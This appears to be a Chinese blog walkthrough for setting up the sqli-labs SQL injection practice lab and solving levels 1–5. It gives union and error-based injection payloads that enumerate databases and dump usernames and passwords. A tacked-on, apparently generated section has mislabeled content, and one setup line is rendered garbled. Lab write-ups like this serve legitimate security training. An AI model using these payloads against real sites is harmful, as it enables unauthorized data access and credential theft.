Sql-labs 靶场搭建及通关

Sql-labs靶场搭建

首先下载sqli-labs (可以参考以下链接)

https://github.com/Audi-1/sqli-labs

打开小皮

把刚才下载的压缩包放在该目录下压缩,并压缩到当前目录

压缩完成后,打开sqli-labs-master在里面中找到sqli-connections并以记事本的方式打开db-creds.inc

打开后将 d b p a s s = ‘’改为 dbpass=‘’改为 dbpass=‘’改为dbpass=‘root’并保存

完成后打开phpstudy,启动Apache和Mysql

接着浏览器打开“http://127.0.0.1/sqli-labs-master/

”访问首页

注:不启动Apache和Mysql是不能打开上面这个网址的。打开后是这样的页面

先点击Setup/reset Database for labs使其自动创建数据库,创建表并填充数据后是这样的页面

出现这个页面是因为php版本较高

需要降级

之后返回上一个页面,点开SQLI-LABS PAGE-1出现这样的页面

sqli-labs 第一关

  1. 判断是否存在sql注入

提示你输入数字值的ID作为参数,我们输入id=1

通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询

接下来我们判断sql语句是否是拼接,且是字符型还是数字型

可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

2.联合注入

首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+

爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。

  1. sqli-labs 第二关

输入 ?id=1 正常

输入 ?id=1’ 错误

输入 ?id=1–+ 正常

判段是数字型注入

输入 ?id=1 order by 3–+ 正常

判断回显位有三个

查看数据库名称:
id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata –+

产看数据库中所有的表:

id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+

查看所有字段:

id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’—

查看数据:

id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

sqli-labs 第三关

尝试闭合查看是否存在SQL注入:

id=1 正常

id=1" 正常

id=2" 正常

id=1"–+ 正常

id=;/‘;[]’ 报错 ’ ;/‘;[]’') LIMIT 0,1 ’

判断是字符型注入,闭合方式是’)

id=1’) order by 3–+ 正常

判断回显位有三个。

id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata–+

联合注入

爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test

id=1’) and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘ctfshow’–+

爆出表是 flagaanec

id=1’) and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘flagaanec’–+

爆出列是id,flagaca

id=1’) and 1=2 union select 1,2,group_concat(flagaca) from ctfshow.flagaanec–+

sqli-labs 第四关

id=1 正常

id=2-1 回显和id=2一样,不是数字型

id=1’ 正常

id=1" 报错’“1"”) LIMIT 0,1’

判断是字符型注入,闭合方式是")

id=1") order by 3–+ 正常

判断回显位有三个。

id=1") and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata–+

联合注入

爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test

id=1") and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘ctfshow’–+

爆出表是 flagsf

id=1") and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘flagsf’–+

爆出列是id,flag23

id=-1") union select 1,2,group_concat(username ,id , password) from users–+

sqli-labs 第五关

id=1 回显You are in…

id=2-1 回显You are in…

id=1’ 回显’ ‘1’’ LIMIT 0,1 ’

判断是字符型,'闭合。

id=1’ union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema=“ctfshow”) ,0x7e),3)–+

爆数据库名:

id=1’ and updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),0,99),3) --+

### SQL注入实验环境 sqli-labs 靶场解题思路 #### less17: Union 注入基础 Union查询是一种常见的SQL注入手法,通过`UNION SELECT`语句可以将额外的数据集附加到原始查询的结果集中。为了成功执行这种攻击,两个查询返回的列数必须相同,并且数据类型的兼容性也要匹配。 对于less17来说,目标是在存在漏洞的应用程序参数中构造有效的payload来获取敏感信息。例如,在给定条件下可以通过如下方式尝试读取当前使用的数据库名称: ```sql ?id=-1' UNION SELECT 1,database() -- ``` 上述命令利用了闭合单引号后的逻辑错误并追加了一个新的SELECT子句[^1]。 #### 获取MySQL版本与数据库名 进一步探索时,除了了解正在操作哪个具体的数据库外,知道服务器上运行的是哪一个版本也是非常有用的。这有助于判断可能存在的特定弱点或特性。下面是一个用于同时检索这两个值的例子: ```sql ?id=-1' UNION SELECT 1,CONCAT(version(),'|',database()) -- ``` 此表达式会连接MySQL版本字符串和活动库的名字作为第二列的内容输出[^2]。 #### 枚举用户名密码哈希值 一旦掌握了足够的背景知识之后就可以转向更深入的信息挖掘工作——比如从用户表里提取账户凭证。这里展示了一种方法用来列举所有用户的登录凭据(假设字段名为username,password),并且用特殊字符分隔开它们以便于解析: ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,'~',password) FROM users -- ``` 这段代码将会把所有的用户名及其对应的散列形式的口令组合成单一字符串返回给调用者[^4]。 请注意,以上内容仅限学习研究目的使用;实际环境中未经授权擅自访问他人计算机信息系统属于违法行为!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值